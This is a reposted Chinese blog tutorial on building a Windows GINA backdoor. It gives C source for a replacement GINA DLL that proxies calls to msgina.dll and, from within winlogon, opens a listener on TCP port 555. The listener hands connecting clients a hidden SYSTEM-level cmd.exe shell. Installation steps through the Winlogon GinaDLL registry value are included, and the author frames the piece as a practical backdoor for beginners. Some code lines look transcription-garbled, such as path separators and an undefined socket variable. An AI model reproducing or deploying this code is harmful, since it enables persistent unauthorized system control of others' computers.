GinaBackDoor简单实现

本文介绍了GinaBackDoor的实现原理和技术细节,通过替换Windows系统中的Gina DLL文件来实现后门功能,使攻击者能够获得SYSTEM级别的权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

导读:
   GinaBackDoor 简单实现
  WriteBy: LionD8
  Email: LionD8@126.com
  Website: http://liond8.126.com
  
  本来是投给黑防的稿子,可是等了3个月还没有消息,不等了公布了.虽然这篇东东不是什么高深的技术,但是对于初学入门的兄弟还是有一定帮助的。高手不要殴我啊。
  首先要介绍Gina的在windows中的作用。NT,2K等都是多用户的系统,在进入用户shell前都有一个身份验证的过程。这个验证的过程就是由我们的Gina完成的。Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll你能在系统目录system32下找到。微软除了提供了默认的Gina还允许自定义开发Gina替换掉msgina.dll实现自己的一些认证方式。这就为我们的后门提供了条件,要替换掉系统默认加载msgina.dll很简单只要编辑注册表在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogon项下面加入一个类型为REG_SZ名为GinaDLL的一个键值.数据填写我们替换的GinaDLL的名字就OK了。
  例如:
  [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon]
  "GinaDLL"="ginadll.dll"(ginadll.dll就我们自己的用来替换的Gina)
  在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说白了就安装一个中间层。使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程是SYSTEM权限的,因此我们的后门也有SYSTEM权限。这对于后门来说是再好不过了。
  由于我们一共要替换15个Gina函数。全部写出来来量相当大。我们就选几个重要的出来做做示范。其他的也差不多就直接往下一层的msgina.dll调用就行了。详细的请参考完整源代码。
  
  typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
  typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
  typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
  typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
  typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
  typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
  typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
  typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
  typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
  typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
  typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
  typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
  typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
  typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
  typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);
  
  后门要用到的全局变量
  //管道
  HANDLE hStdOut = NULL, hSRead = NULL;
  HANDLE hStdInput = NULL, hSWrite = NULL;
  //用来控制线程是否结束返回
  BOOL bExit = FALSE;
  //保存创建的CMD进程语柄
  HANDLE hProcess = NULL;
  
  //这个是Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
  BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
  {
  HINSTANCE hDll=NULL;
  if( !(hDll = LoadLibrary( "msgina.dll" )) )
  return FALSE;
  //取得msgina.dll中的WlxNegotiate函数入口
  PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
  if( !pWlxNegotiate )
  return FALSE;
  //往下层调用
  return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
  }
  
  //为一个特别的窗口站初始化一个GinaDLL
  BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
  PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
  {
  HINSTANCE hDll=NULL;
  if( !(hDll = LoadLibrary( "msgina.dll" )) )
  return FALSE;
  PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
  if( !pWlxInitialize )
  return FALSE;
  //初始化windows socket的WS2_32.DLL
  WSADATA WSAData;
  if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
  return FALSE;
  //同上往下调用
  return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,
  pWlxContext );
  }
  
  //Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
  int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
  PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
  PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
  PVOID *pProfile)
  {
  HINSTANCE hDll=NULL;
  if( !(hDll = LoadLibrary( "msgina.dll" )) )
  return FALSE;
  PFUNCWLXLOGGEDOUTSASpWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
  if( !pWlxLoggedOutSAS )
  return FALSE;
  HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
  WaitForSingleObject(hmutex,INFINITE);
  //后门的主线程开始。
  CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
  ReleaseMutex(hmutex);
  CloseHandle(hmutex);
  //调用下层的WlxLoggedOutSAS.
  intret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId,pLogonSid, pdwOptions, phToken, pMprNotifyInfo,pProfile );
  return ret;
  }
  //StartInit线程
  DWORD WINAPI StartInit(PVOID lp)
  {
  SOCKET sock=NULL;
  //建立一个TCP SOCKET
  sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
  SOCKADDR_IN addr_in = {0};
  addr_in.sin_family = AF_INET;
  addr_in.sin_port = htons(555); //端口号,可以自己改
  addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
  //绑定到555端口上
  if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
  return 1;
  //侦听
  listen(sock,1);
  sockaddr_in sin={0};
  int size = sizeof(sin);
  while ( TRUE )
  {
  //接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
  //在一个连接断开后又返回等待另外的连接
  SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
  if ( recvSock == INVALID_SOCKET ) {
  Sleep(1000);
  continue;
  }
  HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
  WaitForSingleObject(hmutex,INFINITE);
  //创建后门
  HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
  ReleaseMutex(hmutex);
  CloseHandle(hmutex);
  //等待BackDoor线程结束。
  WaitForSingleObject(hThread,INFINITE);
  bExit = FALSE;
  }
  return 1;
  }
  
  //BackDoor线程
  DWORD WINAPI BackDoor (LPVOID lp)
  {
  //可以自己在这里加上一些密码认证等功能
  //用来设置管道可被子进程继承
  SECURITY_ATTRIBUTES sa;
  sa.bInheritHandle =TRUE;
  sa.nLength = sizeof(sa);
  sa.lpSecurityDescriptor = NULL;
  //创建管道
  CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
  CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
  STARTUPINFO StartInfor = {0};
  PROCESS_INFORMATION ProInfor = {0};
  //重定向子进程的标准输入输出,为我们刚刚建立好的管道
  StartInfor.cb = sizeof ( STARTUPINFO );
  StartInfor.wShowWindow = SW_HIDE;
  StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
  StartInfor.hStdInput = hStdInput;
  //取得CMD的完整路径
  TCHAR SysDir[MAX_PATH] = {0};
  GetSystemDirectory(SysDir,MAX_PATH);
  if ( SysDir[strlen(SysDir)-1] != '//')
  strcat(SysDir,"//");
  strcat(SysDir,"cmd.exe");
  HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
  WaitForSingleObject(hmutex,INFINITE);
  //创建CMD子进程
  CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
  hProcess = ProInfor.hProcess;
  //由于我们不对CMD的出入输出进行操作所以我们可以关闭
  CloseHandle(hStdOut);
  CloseHandle(hStdInput);
  HANDLE hArray[2] = {0};
  //创建一个接收命令线程和一个返回结果的线程
  hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
  hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
  ReleaseMutex(hmutex);
  CloseHandle(hmutex);
  //等待2个线程的结束
  WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
  closesocket(sock);
  return 1;
  }
  //RecvThread 线程
  DWORD WINAPI RecvThread ( LPVOID lp)
  {
  SOCKET sock = *(SOCKET*)lp;
  TCHAR CmdBuf[512] = {0}; //接收命令的Buf
  int num = 0;
  while ( TRUE )
  {
  if ( bExit == TRUE )
  return 1;
  TCHAR Tbuf[2] = {0};
  int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
  if ( ret == 1 )
  {
  num++; //接收的字符记数
  strcat(CmdBuf,Tbuf); //追加到CmdBuf中
  send(sock,Tbuf,1,0); //回显
  if ( Tbuf[0] == '/n' ) //如接收到回车
  {
  TCHAR buf[5] = {0};
  DWORD A=0;
  //写到管道中供CMD的标准输入读取
  WriteFile(hSWrite,CmdBuf,num,&A,NULL);
  memcpy ( buf, CmdBuf, 4);
  //如果是exit命令设置线程结束标志
  int ret = _stricmp (buf,"exit");
  if ( ret == 0 )
  bExit = TRUE;
  memset(CmdBuf,0,512);
  num=0;
  }
  }
  else
  {
  //如果连接中断终止CMD进程
  bExit = TRUE;
  DWORD A=0;
  GetExitCodeProcess(hProcess,&A);
  TerminateProcess(hProcess,A);
  }
  }
  return 1;
  }
  //SendThread 线程
  DWORD WINAPI SendThread ( LPVOID lp )
  {
  SOCKET sock = *(SOCKET*)lp;
  TCHAR Buf[512]={0};
  DWORD ReadSize = 0;
  while(TRUE)
  {
  if ( bExit == TRUE ) //如果结束标志为真线程返回
  return 1;
  //查看管道是否有数据可读
  PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
  //有就读取没有就Sleep0.1s再次检查
  if ( ReadSize >0 )
  ReadFile(hSRead,Buf,512,&ReadSize,NULL);
  else
  {
  Sleep(100);
  continue;
  }
  //把从管道读出来的数据发给客户端.
  send (sock,Buf,ReadSize,0);
  memset(Buf,0,512);
  }
  return 1;
  }
  以上基本上是后门的核心部分了,把全部的15函数都重载完都往下一层调用把编译好的DLL的15个函数都导出。把自己打造的DLL放在系统目录下,载编辑好注册表。后门就安装好了。由于我们是替换的DLL,必须要重起后才能生效。这也是一个不足的地方。删除后门也简单直接把我们添加的键值删除就行了。由于这是替换的系统DLL,请谨慎测试。不然系统就不正常启动啦。
  = = = = = = = = = = = = = = = = = = = = = = = =
  参考文献: WinLogon登录管理和GINA简介---Bingle
  Trackback: http://tb.blog.youkuaiyun.com/TrackBack.aspx?PostId=312662

本文转自
http://blog.youkuaiyun.com/liond8/archive/2005/03/06/312662.aspx
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值